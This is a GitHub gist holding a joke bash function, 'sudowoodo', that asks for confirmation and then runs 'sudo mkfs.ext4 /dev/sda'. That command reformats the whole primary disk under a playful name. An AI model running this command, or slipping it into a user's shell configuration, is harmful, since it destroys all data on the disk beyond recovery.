Skip to content

Instantly share code, notes, and snippets.

@gigawhitlocks
Created September 6, 2013 01:35
Show Gist options
  • Save gigawhitlocks/6458474 to your computer and use it in GitHub Desktop.
Save gigawhitlocks/6458474 to your computer and use it in GitHub Desktop.
function sudowoodo() {
read -p "Are you sure? " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]
then
sudo mkfs.ext4 /dev/sda
fi
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment